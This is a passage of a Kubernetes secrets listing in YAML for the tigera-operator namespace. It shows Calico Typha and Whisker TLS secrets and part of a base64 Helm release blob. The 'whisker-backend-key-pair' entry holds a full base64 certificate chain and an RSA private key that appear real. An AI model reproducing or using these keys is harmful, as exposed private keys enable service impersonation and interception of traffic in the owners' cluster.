xSlFFZ2ZBYVpGOEd1NlkxaTVJdE96N0NNPQotLS0tLUVORCBSU0EgUFJJVkFURSBLRVktLS0tLQo=
  kind: Secret
  metadata:
    creationTimestamp: "2025-10-19T16:12:25Z"
    name: typha-certs-noncluster-host
    namespace: tigera-operator
    ownerReferences:
    - apiVersion: operator.tigera.io/v1
      blockOwnerDeletion: true
      controller: true
      kind: Installation
      name: default
      uid: 63dabbe6-fe37-4e18-82da-dcd4ee115c93
    resourceVersion: "6821081"
    uid: 56d5c574-3c8a-4c09-a765-d2eb83e8694f
  type: Opaque
- apiVersion: v1
  data:
    tls.crt: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUQ4akNDQXRxZ0F3SUJBZ0lJYTVYTC9ISENXVTh3RFFZSktvWklodmNOQVFFTEJRQXdJVEVmTUIwR0ExVUUKQXhNV2RHbG5aWEpoTFc5d1pYSmhkRzl5TFhOcFoyNWxjakFlRncweU5URXdNVGt4TmpJMk5UVmFGdzB5T0RBeApNakl4TmpJMk5UWmFNQlF4RWpBUUJnTlZCQU1UQ1RFeU55NHdMakF1TVRDQ0FTSXdEUVlKS29aSWh2Y05BUUVCCkJRQURnZ0VQQURDQ0FRb0NnZ0VCQUpPUlNENkRNNlFmVCtqT29DUXlmQ0VuWEFISTRubXRNUU9FRWg4aEZKTjEKUXlVTEVNeTA4WlprNHFla1llUjBpS2JNOStxT0R1OTEyS1ZBRmVKeENnTmdQdlE3NXZmRUVOUTJIT0xoTHY3QgpFVDMyU3M2N3A1VExsSHp1WlIxQ2ZWSDJFeFJET2tZc2ZPWHo1cWJ1bFF2R1h5emhRby9RV3FlaXVNVVJYWFhUCkdCRjUyZ2c0MnUyRFpxWHlEYWVwbG15bEF1Tkc1aHQwVy9kTUZxNUJ0dlNrempKbDhVYVJnU2o4aHhSZGNScXAKUjY2eXFjcXlzVVFUWXQrNWhyK0MzbXB2alBvWktuWElFNzZ0UCtCbWdYK2FmamdSNTZiWmpnTVRwV2VadUNtQwppUGs4bjZteGdqcnhObjQzb1dHYzNFcjdaMkxWQ0ZxM1RXWGhUTjdNa3ljQ0F3RUFBYU9DQVRrd2dnRTFNQTRHCkExVWREd0VCL3dRRUF3SUZvREFuQmdOVkhTVUVJREFlQmdnckJnRUZCUWNEQVFZSUt3WUJCUVVIQXdFR0NDc0cKQVFVRkJ3TUNNQXdHQTFVZEV3RUIvd1FDTUFBd0hRWURWUjBPQkJZRUZNNmJmSDJrRHBUeUUwRVlFUFdJaWEyUAo5WWZZTUI4R0ExVWRJd1FZTUJhQUZMY0s1bHRBdGZJcXI2Yyt2Y3FSNnFobHlHU2pNSUdyQmdOVkhSRUVnYU13CmdhQ0NDV3h2WTJGc2FHOXpkSUlQZDJocGMydGxjaTFpWVdOclpXNWtnaDEzYUdsemEyVnlMV0poWTJ0bGJtUXUKWTJGc2FXTnZMWE41YzNSbGJZSWhkMmhwYzJ0bGNpMWlZV05yWlc1a0xtTmhiR2xqYnkxemVYTjBaVzB1YzNaagpnaTkzYUdsemEyVnlMV0poWTJ0bGJtUXVZMkZzYVdOdkxYTjVjM1JsYlM1emRtTXVZMngxYzNSbGNpNXNiMk5oCmJJSUpNVEkzTGpBdU1DNHhod1IvQUFBQk1BMEdDU3FHU0liM0RRRUJDd1VBQTRJQkFRQkhhWCtFSHpobEtyOEMKcFNMQTUzZG50OWlnUjFvM21Ic2NUbUMrRGQ2RHJpZ011eEhHS25QVERRa0J6L3UwcWhvaXlodGJQR3BTZ2FXaApDVFc0NkRkQXJhY1I2Vm9pazRhekVGOGNVMDVrMEJHbXpvWTE5ZWZabEVPUHA0dHdTdjkvTnBGYWpOVEx5V2VmClhnTGxxZEErdENjbTc4bmRFNDE3MytTeDRHS0RxNzhWZGUwZkFEeG5lL3ZEb3NxaDM5SUhrYzRidG5rMVR3MEwKK2dBTGg3V3BGbEJlT2c5RU1ycUdPS3NJUElRa2ZPUWlhWHlnSTk2bGI2Z1ZwTFBjSHBCOU9CS2hrWVpHSHZoQQpYVmdWUlBRUUNsOFlYbURuY1VhM3FkM3VXeHVha3hhS2xhZHUyWkZTcUxUL1JZTkloaWdRNnRUL3A4R0lESjBQCmdtNmJNYVdhCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURLVENDQWhHZ0F3SUJBZ0lJQkFrMUpVeVM2dFl3RFFZSktvWklodmNOQVFFTEJRQXdJVEVmTUIwR0ExVUUKQXhNV2RHbG5aWEpoTFc5d1pYSmhkRzl5TFhOcFoyNWxjakFnRncweU5URXdNVGt4TmpFeU1qRmFHQTh5TVRJMQpNRGt5TlRFMk1USXlNbG93SVRFZk1CMEdBMVVFQXhNV2RHbG5aWEpoTFc5d1pYSmhkRzl5TFhOcFoyNWxjakNDCkFTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBSWlkTWN6ZGJtNDdTbWk1Vm9FSUxlQjIKQkV3S1Nudi9zTzF5VHlTeTRPM1A4R2k1WCtqY1g3cnVjSVljcFRvVW45NmxSc3lSNnJnRjkrYkxRT2VaN3JUdQozSXRWWVJrTjVVSUEweURKbjloRHV2YzMyWVh2ZEtZdU5aelZScWEwelJ6LzlwSllROS8yY2w5MEh3QWR2b3Q4CkFWaGZ4UFBhT2NnaVBrM2hEYWxLSXRucWtpaEg3UFl1NnJtNzE0S1B5d0dlUGg5ZTdwMStHUmFkbHBaT0N1RysKR0lGbjA3VE9BYlRDbkVPSDBOSDI0Q1VIUmlZY3lLWVVGUDJ2WDIxVEd3MGtXMWI2UGxYZDFMK3lGSzIrLzFQbQpkNGtiQTJNSGVQRGJ6TmZJUlZQZGlJajNyaURiNHZHK0ZVa2Voc2x3SStlSVkvbHo1dDFKSE43UTZBd0JNdEVDCkF3RUFBYU5qTUdFd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCL3dRRk1BTUJBZjh3SFFZRFZSME8KQkJZRUZMY0s1bHRBdGZJcXI2Yyt2Y3FSNnFobHlHU2pNQjhHQTFVZEl3UVlNQmFBRkxjSzVsdEF0ZklxcjZjKwp2Y3FSNnFobHlHU2pNQTBHQ1NxR1NJYjNEUUVCQ3dVQUE0SUJBUUJtK3NIanJZQW8rOU53SDIxNEJOM3pxaXJBClpadzhURjI2MGxzODF6a3gzakJGQ012bFhvVHRoRmhFNVRBM0hOUjdzRnkwbGJUb2pkNmw2TVFYcHpGWjgwSU0KQzArck01Q0M2YlZqYksvK2lBcVZyemg4VEdWbDVSbDJhSVBISi8zanNwNzdDSUVuckJIdTdrRGxtVVlVbE02TgpveGM3bnMwWTRtWHdNa055bEVSTUVtUHlSNGh5azM1aHA1TXRHMSszQTRVdFdIZWZvV0RhZnFrWHlQcURuNHpJCjkzNFQwTUJBd0pFWkNWb21rZE5KNkpDVnBWajBWTWNEd3FlNGZwZ2FBd1NNanBhMkVYd3VRcEhkQjBaUSt0QlcKejBsRk44ZGNWT3dMcGRHN09UUTFyV0NtUCtvM0xCeXBDSUYyZ3hQOGRsMnZHNHZvTDdJa1grZlp1emVlCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K
    tls.key: LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpNSUlFb2dJQkFBS0NBUUVBazVGSVBvTXpwQjlQNk02Z0pESjhJU2RjQWNqaWVhMHhBNFFTSHlFVWszVkRKUXNRCnpMVHhsbVRpcDZSaDVIU0lwc3ozNm80TzczWFlwVUFWNG5FS0EyQSs5RHZtOThRUTFEWWM0dUV1L3NFUlBmWksKenJ1bmxNdVVmTzVsSFVKOVVmWVRGRU02Uml4ODVmUG1wdTZWQzhaZkxPRkNqOUJhcDZLNHhSRmRkZE1ZRVhuYQpDRGphN1lObXBmSU5wNm1XYktVQzQwYm1HM1JiOTB3V3JrRzI5S1RPTW1YeFJwR0JLUHlIRkYxeEdxbEhycktwCnlyS3hSQk5pMzdtR3Y0TGVhbStNK2hrcWRjZ1R2cTAvNEdhQmY1cCtPQkhucHRtT0F4T2xaNW00S1lLSStUeWYKcWJHQ092RTJmamVoWVp6Y1N2dG5ZdFVJV3JkTlplRk0zc3lUSndJREFRQUJBb0lCQUFETThSL2FuZzNmUkdKVQpCVURaVTJ0Z0tlY245ZFpFRXJwT1R4M3ZnQ2s2eVNwUCtUV3FlZkM4N2lTZlRDTWVoL1RLeHZNU3B0WVhSUjExClQ3THR0aEFLb0Q0SmFySDR5c3BGeDZaV2hjbGNWRkJpMFRWaWhiSVFmalhpWDZwZEgvcDJBVXIwTzZUYWJpbk0KNUhraWNVcG02S083LzVMQWQySmNNM3BCNkNyUTJMUkdOQmVUTjhHSHgvekVnTWVEQXZGOHduazJqcjV6NzBGcQpNejd1N1U4cUFmbFhaQUdvSDl0NGRYdXB3NDhDVENxeEdDeWE0QnNNUGoxWFRrZEJsWGlHeitFUktBdXlUeDFhCkpkWitvNEVhUW01empyYlpaTTB6WDFhcERwUXZMdTU3am1kMkpaODFZWVdhU3Y2aTdWZGxSYlBIRHd4TlhMTFQKaEpZeExRRUNnWUVBejhWdnFuRVlXaGhnUmtrMFB5MENWQW9rNXYzQkdaVVdYNkR4YnVSQlU4NDg0empkRGgyTApxZGhIT2R2ck9NSjRzcVkxUXB2K1FOY25FbktIWExsMm5XcXF6TVRCd1hFbFJWU3l0VEJvQ2NOMkNRbnhSMk1WCmJRNXQ3V1BpU1FHbFRXeUdzaHJTeEJOWlFxcEJid200NkoxNHh5VjcrVFk4NzhhckMycyt4VUVDZ1lFQXRkSlAKUkZxV1M1Q3Q4UndIUG5ZbXcvYlI0NGdzTnBWL2JaTUI1SFBxZ0RmWXBHL2JPQ1ZGNHVmb3lqSno0MkMyVTZEawp5L3R2bEY4b1VDd09Od1hRazZzTFBsdGQ2NCtmeVFJby9GS1pxZUZzQlhOZW1Jek1zRFBHT3dtR1BvU2ttVWl0CkY1V1FGcExnYlUzV0ZjSktVdEtDbkdITWNoVEk5YkRIcnFtUHRtY0NnWUJXRTVhNmh4WXVwVENsamNoZWIvZ3AKOXZYbzJMSDZOa0RKcDNTK20wUFJRMzBJS2RPeStGeVhKZW9FTjI4UTJjaUZRc1NIN3ZaN3lHY0Fob0E3MHY0bwpJenZWajZJeDBQMCs1dU1PbTVwT2lUTEtkZHNHMXk3V09vY2lOU0pYV3A0d0lFa0JXb2w5QUFNWDBrOC9nRWloCjNqTmVWZEl4b2QzRy9JaDZONWtPd1FLQmdGaEk3REJXaEEvaENuUytsVTNnOU9YR1hSZk1NUnUzNzQzM0NiNHkKQXJXTGFHZy80QVFkSlJnT1gxeCtyd0xESFFUeVpPWWZDb2pTdzdKYUVmVHBuK056OUJ1dEphZVJyNVpjdENZQQp2WmhkV3FReTVzWFA2RHZPaC94Mm5YYVIxWktRVld2VU5ZaWdmTlRXTEpPWUtacVptTTN5TnVGVjhsWktKa3RMCkRmc1ZBb0dBWTFJa2V3dC96OWFwL3cvTS9jd1FnUFZtemVVZWl6eUsybWJzUFQyVTZUMTlTZ2d0NDloc0JZRGkKR3VMTE9XZ2c2bzNNbXJwUUkxSm9ESU9ReTFqejZkVG9vemF3OEV3ek1sdjRnSHQ0T04xQjFSMGFGdFdHMW9XVQpmdjdmQUgxam80YzFhdWZ5TUNLc0p6aUpyUmVEOExmalczelNhcWh0SFA0Z3pTWWJjVTg9Ci0tLS0tRU5EIFJTQSBQUklWQVRFIEtFWS0tLS0tCg==
  kind: Secret
  metadata:
    creationTimestamp: "2025-10-19T16:26:57Z"
    name: whisker-backend-key-pair
    namespace: tigera-operator
    ownerReferences:
    - apiVersion: operator.tigera.io/v1
      blockOwnerDeletion: true
      controller: true
      kind: Whisker
      name: default
      uid: 5f1effd2-9eab-4639-b80e-b5f40d365ef0
    resourceVersion: "6825367"
    uid: 030a5955-a08d-4a17-bb8d-ac3076e4f2ea
  type: Opaque
- apiVersion: v1
  data:
    release: SDRzSUFBQUFBQUFDLyt5OWFaT2l5dFkvK2xYNmR0eDMvNzMzQVN6N3REdmllU0dXSUpSU0xVb3kvTStOSnhnc1FCTGtsQ00rOFh6M0c1bk1rMktWMWJ0N24zN1IwYVZDaml2WGxHdjkxdjk4RG5SLzlmblB6d2Q5RDNlZmYvdnNCaStiejMvK3orY1g5M1c3KzI5ckZjSk50TEkrLy9tWklxais3OFRnZDRwYVVzU2ZWTy9QL3VDUEx4VHh6ejQ1SVA3NWZ3anFUNEw0L050bnFML2xMV3NGVnp2OFBQNndOVi9kY09kdWdzOS9mdWFDN1U2SDhKTzU4VVAwME9mZlBtOTMrbTYvL2Z6bjU2eWYzejRIbTkwS2ZmV3ZZT25vZ2ZjcDJ1dy92V3hlUDdueDYyNWdmNXJvVzhjZGJWN0RUd0ROOWYvNVYvQ3ZRTmdjUCswY2ZZZWZkL1RENmxQYVp2elFiL2lIcmJQWlErc1QzR3k4VDV2RDZ2WFR6bGw5c2pibTl0TW0rTFRmdW9IOXJ3QS8vdW5vN3B4UFQzdGo5UnFzZHF2dEovMmd1MUEzNE9xVHMzcGQvWW02ZEhhN2NQdm5QLzVoclE0cnVBbFhyMzg0YUdEbTVqWDh3OXo0LzhBYjhRL1VPbnI2WDRHNjJiOStlbDNCbGI1ZGZYSzNuOUIrV1ovd1UzOThXbTQrd1pYK0duenlONityVDdxeDJlL3c0SkxuZi91MGU0MXdyNTgrL2IrZm5CWDBQOFdMRjc5ZitOcGU3VDc1ZXVDK3JMYTc5TWQvQlovLzk3ZlBwcU8vN2hCRitLdWRidWs3SGYxZElScG5neittVXpzZWozL2duOExYelhwbDd2NXdOMmpiTnZ0WEUyM1MvODBldE4yZHN6Znd0TE5GK0VmVzZOV0hma2RENy9hazkzWGI3VUZ6Ni80ZXZtNE9yclY2L2Z6Ly9mYjVzSHJkeHBSSS9ORWovaUJyQlByODh1S2FyZzZyOVBWcGhCZnV0OC9lS2pwdVhpMDg4WFJ1MjVXNWYzVjMwZWZmUHE4Qzh6V0tHOFBmdjY1MmFLaStIdWoyeWw4RjZIRjl2OXY0ZXZLTUc3eTg2dHZkNjk3YzdWOVhhSXl1aVVkeWZYYi9lTldQLzNpaEtJc2lLTk5hVVFUNTlXWHcwTzliSy9PZi9UNUpmdFVIeHRlSC90Y3ZLK0lyOVE4OGpmLys5dXI2K21zMDNkaWIvNmFoYm5wL2hJR054aFM2SUZ1YkE0Vy9DZk52eUQrb2VMWDBJTmpzOE5pM2lISXdPVzMvMklTcllPdTRMNGcyL3BGUVUyVUJFZkY1ZTJPVnQvbXZQVUgwVnYvMUNiZE4vRTZnSitERzlENy9HZXdoL08zemJ1V0hVTWVNNFA5bU5KcDkrUS9oZVRsZS9MRTdvUldOQ2ZuekNJb2JWZTYvY2hONHNCYTBiL1E0VzVmN1o0dGx0Z1lMOTFwRWM2b2liSFJKT0pqQjBBWStReHFUdVRPeXcyZWpaOW9XNnpqV2lPNGJQY25XV1liU0ZyU25LZlRXNkVHb2pXaFpWY0RXR2gzdGxUd2d1WW13TVhwZ3E0M29yVUVOWGpsMlFHa0toOXFBSENzZTFON01OcWdIMjFLRTBQRE5wNlF2MjZJZ29ZL29xU1h6MFBUNzBHTEJtV01aU3BYaFZwWDVyYmFnTjVyQ3cyZDc4NlJQUk1LY3pMNU1vNEduS1JvMDJNRlJVN2k5empKbm5ZVnJvOGNmcDc1d01CWURLaDdid0RNbzRUeXlOMCt5UENCTmw0NDArUVJWUllBY0M4OGMyM2NNR1hqY1pQZFBidFJmcEw5TlBmUzlaTDhveEo1anhBUEhvdS81UGNlU0I5T1hiRlhtRDVZeWorYzI0YUhCQXNla3BDMDNFYVBWY3ZNMGNvYzJQNkkzbW56YWNST0JVQldSTkNQNm42dG91SmQ4c05WazVxd3QrcytxVEVKdVFnNUt6N01XdEViMFRwWDdvZWFEc3pXNjhKNjkrYS9QLy90YkF6SDh0N09DNGVwMSs4Y3VoRGs5ckhyYnc1TWRQaG85dW0vNk1OQW5jL3VKbllYYzJIRk15Z25uMUNBeVIwZDdJZmZYVXp0Y1NtTlJuVXFuVUtYQTNxU2szVUlXb1JHSW9lWkRhSzQzOWhMUXMrbVMyOCtHbTM5UGUyZzg0VDlYMGRkL2p6d2gwbVNHMEJhMHc3RWkxSks5MWdLd05TYWViU3JBTVZqbzYyanRXZVpvanVnOW10UFVEaFZ0UVJObUFQWXFGYjl2alliVUxLTFhPc3RFWmtTN21pdzRGdHEvaVhCQWU3VG9BVmRUK0wybWlOQ000blk0VmdzMStlU1pFZTJnL1RKWXVOTVZFZEVzWVJ4RFFrZDdQM0xjMVlJbWRGYXl4WEYvR2RNQ1BoTm5rd1hycDhXRHZaQlYyOHpXUFcxYk9CaUI2S0J6eExIQ1JsVjRJbjVYc25VRjAvUFdHSWF1dHFCSms4THpPM1BzT0o1N05zOWt2WUxkUDZmb1RNbGFhUGlTelFXYVk4a25ZdXBycE1HZTR2N2M0ZTVGSVo1V3ZlMk9ZNkhQamZxeUtwOUlUWm50Y1pzeERYK3pmQkNaUHZTMFJlSDVxOC9TWHhITlduSi96VDJxWjI1eXRLMEpIeHBBSURWZkMxZWpvVHRkY1BaVXljWUtqWWtBdVJFNWVKbWp2U1pzUHBuNzg1cXdOUmI0OGJrYjd1ZVU0NWpCZkwvMG1aMjJHTzZCejJ3dEdaeW4vb1h4b3ZrVjEzY2t4bXZRY0Riek1UV2REVHdQMHZCbnRyQ2UyUzhqbWpCOXVKTjZ3TmQ4K01DTnVGMTVYY0hXcElwdDBrZlRoM3VMVlczT0JlZnBBcHc1dDZHZmRIeTM5N2ZYUnQwKzQvRkVtNmQ1ajRlcUlzSXF6YWx5MytNbUdqUURJVVQ4VlZWbWlNY2lXcy9vVzQzM3dqWll4dFhrNDM3a2JnNTVYK2g4d3IyMkdMcFdmRTczeWZOdWNaOU5SQmVCNkhNakRwb1JBYzJJczZkZVBKWnNUOUxQTUIvUHk0aU9rTXhRWlVRMzNDdm5EbDBsNHVJMVF1Yzh3dWNiMDZFdWswdEwxbnhkc1czT0pVcjlhMmllK1BQbUtlRmp6R3BDTzRhZjhPRmtQUXhLVFQ0blk3bDYxdkI3NWI3ZVJNZHZPRXYrUFA2YzhVMGtsd2M5YmlKdXRFVlJWdUcremliTHJCRi9OQkFmWE5DSHJHOFdYTjFUQTQxZkVZNTRIMHEwbVBQbktjeGtXVHpmOVBraUg2Rk9COVZudHNuOGt6RmRvVjFxc0RNbkFQSHpVSE1UbXV3SkljZUtrYTVvMEhUcDBJelFlakN1d1FMditwNEpaMTBDZTZ3ZnlHVTY1Wm12bUJlWkZDQzQwWVBOMVo1MURxYTlzYm1SQTgzRmNET0ZtbU5NQURTai90cWt2TDBtOXgzVlA2SHpnL2J6SVBVUVhmYURKN1NXRTU3VUZseUk1UFVUeTZCNWJqUmxiRDhWMWdmTmErcG4vV0U2TjBnQjhZTzlGbm1ZcnA4VzlmZnlkYjN3Ym9Eb1MzS2ZGbDU0NVd3OEdoUjV0REMvZ0g1Q1Q2SGhoMUR0aVlmYjF4dnVkUitzTFhZUWlkbjZGR2w1NkNuUjhNdTNCWDNXbExrOWRZZXVMdmYvcmNrQ1lmUjRKdTJIYzRjYm84YzljUTNybGovUHZYc1B1clkxWFhCaEF4MEVCanR3VmZuWWFSeFBDKy9LbVJZT2hrS1RGaXZadXB6d3Bva0F6ZUFOZEI4azcza2RhYi94K1ZiNlAyc0tqM1QyZDYrL1NZRUk4YVlmOUJ5azg3VGpjY0sxSmpOcmxScVFSakMzZFdWbTUvTi9lSHB5QnlXNW9NdDl5STM0eEw1STE0eGZvdjkxV1lCeldWZ2JQYkMzeGpmdUVjVC9JMTJiVmluaFlNbDlvbkRXOEpsQnNoNnRPM2RwellONk8xTS8wOGZiOXROK21pT2FRSHM2aUpJKzdrSWpMZTE4enpOMlR2ZEdUZmRtUko5MWRrQWE3RHkxYXgzVXQwNkJQY2NtYXlYUFk5MktKZkVhb3M4Vys3WFlObHBqSjF2anJtZTNZWjhsQ3F4Tkh4Q0pqaGNhVkwvSU13djZ2UGpDUFc0R3FIK2ttM0FqdnAzK0dBR3FQUjVhNDNnK3VqellmMGQ2Q3QvVkxrakdmcEVtV25TT2JqVGhXSXE0UWJxUHdZSkFWYkJNYktLVE4vSm5oclJZWjR6ME40MWlrQnpxeUtmcjcyVjhkcGllVDNEaVJuYXVoNmJ2dW4wOEo1RkZOb3JsSUZuZGhZZHlJKzhwT2FNSDAvMHdPa2pHM2o5WUNVMDA4WlNNSDBzWlA0NzExc1hRNVZ3di9FL2dVYkZmS3R1M3EzcDl1ajlTdG5iTmNzZGl3YzVrVHc3cS83SSs4WEJScjd2Y240UHRzWVoyTDlGdE52ZU9NdjhONnd6Q1c5ZlZrbUZYSGt4MnRDOUlmZEhQZUFtMkQ5bkJFdHVJdmhseUl4N1p3NUJ6dll3MzM5NEd0K05jcjc3V3ZyVTFLTjR4UnAzNmIrZXRkWHNPMjNLR3pEem9Na2thQzNwdnlhU0xkQ3RzaDh0OXgvS1owR0JSbjVKdCt1Qm9zSEN0SWgzTEgwU0pQalkzS0hHc0swSmtLVFNXVS9NQWVCb0ZpS2tkU3RoWGw5bW80aG1kUDI3azdLZG5McHd1eDdaRk9SRDcrR0pkT2g1UEFIYXFEeUtPSGZnY1MwSkQ1cUVaekhMZlFIN3Uxc1lFbkMwV1JGTTdwRFYyYnF1TDJQK255OHlXWXdWa0N5ZGo1YUhKbmtLVllzN2ZsdU10TjdHd1g1cGpJVkh3ZlNPWmdNOFdIdWZqTVBiSFVHQnJYTmNsanhyTDdkRmFndks2bGM0eG9tbk1vMW00Ui9UWGNKNDI2cUtQZlM2NkxEaG01Tm16ZkQvdDJZZ3U2TXVuYzJ5VHQ3YmpOZTZMVHpvckJ1eFZSWE4wK1lSNVl6N0dlN2FWanJIa3J3Z3RkN2d4ZXdDZE5VOVhWUHVKSlVsak5Oem9jcC9nR3UwUXg1a0crZjQ5TFlhbjJjaXpaeTVhRzgrZUxZZk5QS1dOeDBCMDltTmFzM3dtMHVXWXZubUtQR2lzRk9DOXI5Z2Foanp3c0U5SFlVaE5FV0w5TXZCUy9uU083MHErMmlZRkVaOE90Y0I3S3ZKc2d4MEV1ank3N3VmQi9TUzJ1VHUwOFhNVEVSb0t2Y1grdzdydFV1UnorOFIrc3JrSm5udW91VFRXQ3dvOHFPQkg2TVBWUklTbTMzY01KcWI3dVN4Nkp1SkJ6VGJkQXpwcmhzOXM0L3Nma2RaWU1VcjVEWmJEazJhNWs4NkxLN1NSOG1VTzM1RVU2Wm5lRzcxbU9aU3VTL3BPM1YrRTk5RGxSbncrdDFGbFBSTi9jWFlXRzJsT2hKYmJoZC9lTW5mVTVsdkc0ampkZE1GazcwZEoyM1ZadHpNb0VZM1oxZG14VzZHVitHNEErL0FIMFNXOXpPeUpqdUdManNFTzlsbzNtWGhSZjdDUWZzd3lXNFBxd3c0K2grN3JIUWdFa3NPcWZEb1l2dFE4M3h2V3JFNnZxYitpMVgreDFKUjVrTXExVEg0dTZOUStjZFhZMTM4d0VyK3F4a0pmODBHa0lWN0lJbG9HWjN5bjRtdWgxa1BmSjN4SEVhQjUxWjdKZVdaNTdQaU1vZjFOK00zUUxlOHBaNWZYdUNBWEg4ZEYraTJlMlZKN21MNG01Yk9LYU56b2NmWVR1d3NOWCtUTkNQc1pDV0dOOUs1T2ZIK2pVM0N2amVHWkcvRyt3UTRjNjFFbE9MZWJITTE1UjBZN0hkNHIwMXQ2WHJQdlVycDVuTlY0VTRFZW10Kzl1clo5RDYvaFJUbG1uYmtKT0dZMFFwR09PYUozbUw0bXMxU0hScnBWYUZJUGdUV0s3M1F0TjRzRjJNVzB4dXkxVkNaaTJnb1RlZ0lleDQ1dHRZZjByTUd1U0l1eHIrTmh6NDFvSkFkQ2k0VUh4TmVOaVdmckN1SzlES0VwTTl2b3hUYTdFWGhQbXVJUXBqKzJMWCt3dFdRU3BtY0Q5K25TTzFYeFVwOU9vc2RwSWJZL0pnS3BVamJXeDVDT3A4bENwQ2xaL0lHMFpHYmhkZnRlT3hnVHNOT1VtZHNnSjdIdDg4UWluYTRmbi9rUjcybUtpdjJjbUc2Yjdlb2lqOW1yMUdDditSRFpsbzI4VTJmSG5aNHhmY2EzUnYyMVFmVjlYVGJEcHdXZDhhbjRIMkZqMjNxNXNkUDJpclk2TjZLVGR5MUJWWVpmeXI4TjdlUys3UXVteTJiOXdyZmswemEyM3psNzZ0S0Rsd1daamlmbEk1Z21penpSOUptOVJrbU4vb0Y0N3huWm9FNmtJWU56emgvaWY5UGtqdjdaeFhmdlVUcXZxWUxqTy9iRmVJdkNQTEhPYWszZ1VVTnJ0Tnc4bGVhWjdXL2l0d2pFdm9sc2FEK2hZd0tkRnk2c3QxdFpvNHY5bDNUeGNqOUI2Z3RyNldPUyt2bHU2U3ZoQzdYeFpuYVdnT2ozMlkzWEpyc1BIV1BkQ01uVkFzK1pSN0ZOVVpDTGxUMUZQS1JwUHd0bnVDeERKK0pCbHBtZDBXemZVUG4rSDIwRHlYWVd5Y0xoUTAyMlRvcDZFdlF6LzBTenI0alFGUDVvK3ZDczVURXY2SnhpMzJ6dC9qY2ZEelFDRVpvQkhlbUtBSmNzWEd0eS82d3QrZ21QRWFlYTRvVVhhRFU1THlTU0Y5QUlCRmpaczVSWGZlbTQ5NDMzTUVobk5pZDhhRkpnbHZZekRVcnZsMlJTK3EreTkxKzR4eUVoUEE3cjYzeFZ4bUI3eURGOTY4eXgyZ0haM3BZaUVBWkZJUDZ6TStSWWZoZ1JqWFFYTDRzZFMreUtCcm54cFBsd3F5M29ucTZJRzI0TTV4ekxlQnF5MDNzQ2xndEdSTzlVZVFlVHZuSE1sa0dwdHVvUEhqZ1dQSmdzaUhRWjdGVms0OHZNV1pkQk5QTHgyREQvTUtNNGxrMlgrNGxOQjg2eHp3UG1zVDhUSzdSWTI1NVRnNzNaQTF0dTdFQ0RKYTdIV0NoOGdHTW9Ddkk2MTIrUXJwdkprSkorbSt2QzJlOGJkZEhJRzNiYzVGamJUN1UzdEtlOVJKNVJ5WnBHQTJUclJLcWNmaVo5MHgvc3BrcDJUallxZGJTblBYRm5qZ1pJamtlcWJNR012L3JPMm5qYzF2cVNvK0hPY0ljdVA5bHhTMUtRRkFMT1h4YWNyU3lHUHU4aXVwN2JVd2tnUGYvOE1uYStTYVQ0c2dEMDErTHozM3JrVncydDA5djduaThKM082QWMybUxHNmsrT2pmYWFMZ1RaV1Q3Q0YrbDhXQ014ellTLzVuK2ZZZCs4UnlXSGlPSUN1RnlER0h6cm1yam1MQVJ5ZWhZWno0Vm5qbDZLd0t2d2ZOY0lwazc5RTlMWS9neWw4U3hGTFQyWDNnRzljL01GMkJBaTJOeGNZZitKY2xqbmlVQ1NnckJqRVdHYjExL3dQRDBFZ284WU9LKzBUNVV2N3ZEZUJaelNiczZGc2xqMk9JNGlwL2ZPb1pwRDV4TmQ3QTFLTUV4UmdOWGx4OE9HanRZNnhTSXBqTFNzL20reVE1Q0k1anZUY3EyRXg1aHAveWJHMlY2MCtCaTM0a3UweVNqOFBtV21FanJ6VEkrZjhuKzBsaEFjVzVWWjhSeTYydE5EbzBHcE5uakRnWTdXS3Z5OGFENmNEK2x4SU5LN2FEcGtrZytSaXVGUGlCYmJSb0lHMjZTK2tqVDhRMTN1TDkyK2ZWZ1RYaG5qbmttWGJTSGtNem9Zajg3UmZzQ3ZXZjVNREtvZm15N1REVEg5Q0gyUFpwUjNhYU8xK1NxL3hZYWdYYlZUbTViVjh5dlUzMlIwV2dnblNTRkVCa0FCNHNsTVpBVVV2eTJJTUN6UXNCeGZmMkhpR2EyMWtVZEFQdWpQRTNSRmdZMUlBQTdlTlhraDBhWlg5Qk41RGtBTThBTXhpTFFYcFpqdUFSak5BWjhoaGlKbk5YZTVVWTBoZnRlYm13T2JyODhRK0xMOHlOM25PRTc1N0xPMzNhL0lGR0E0SHN6MjZLY0VOdHNzdWpwOGIyNFk0em9ndjZYK2QxZGJaSFlyTmlQbFBsZjBia2hWQm51TllWN1VuMEd5eHdjaDQ1akJHTjlOajFEbHNKM2lmbEliV08zYkp0RG43dDBOeXVMb2NYZ2VDaEhvNlF1ZDRyWDlpWnVjMWlqSXp1TldaQllodEFmTi9pY04rbThxZ0xRdWk1VFhqTDFDKytObXM1WmNhNlpqNi9OQnhTbStuYWp2bkxCUDFpd1h6dmRWM0dqa3Yxd3pTL3JXQ3hUbUhNSHYyaVRyVlN3bnpXV0lkVDUyL2NCdnc5eTJqRGtBV2tFNGx4RmVtM0pCMWExcldxZlA4SVBjY0dubk9xTFhuaHRqWnA5RFBHLzRueWYzZUVoa1grSDRqc2xmMVoycjhFN2htL0JTeklETk5pWWpUd1gzOEh3cVp6ZDRiM3kyKzBpYm9Uc0ZNWmJVdjN0YXJuQjhkOWFWeG9JYUFmWkRDVTdlc1JsODhhK3JHeHRNUjg0MU1kenljNXQydC9FZHlYRjQzbWp6UzJrZnNHWEViM1hrWjJHNU9mak9QcVpiTzhxYlNicnZqUFM5enZzWTI1RFplUHRUaU1WUDhsVk9hZ01rM3ZDZEErRnJTckRIY2p1QjVFc3REWklubU5lc3FBUFppb2ZSblNtSytJWUNHUWZLeUEwZmVCTjNhRzlHSStmRERuT0JUTDhBWkhZdUo2cWlBNDN5WGlTYlZJUTI4bVpuWXR0NEZPb1UyQzdXdEFodHZGWjNrRTZuK0hQdHh6ckhDd0tvUDNkY2l4RGFpd2tSa0hlWHRxbjZrdEl4cDUxTEh2em5JWFluM3RWRnFkMHVUWllKalRlNkpmdHdwTnplVDI4VWI1NzZYbE54L3FJeHdweW42bDUzcFR2QXJCOHZSWmJlN3NjeS9o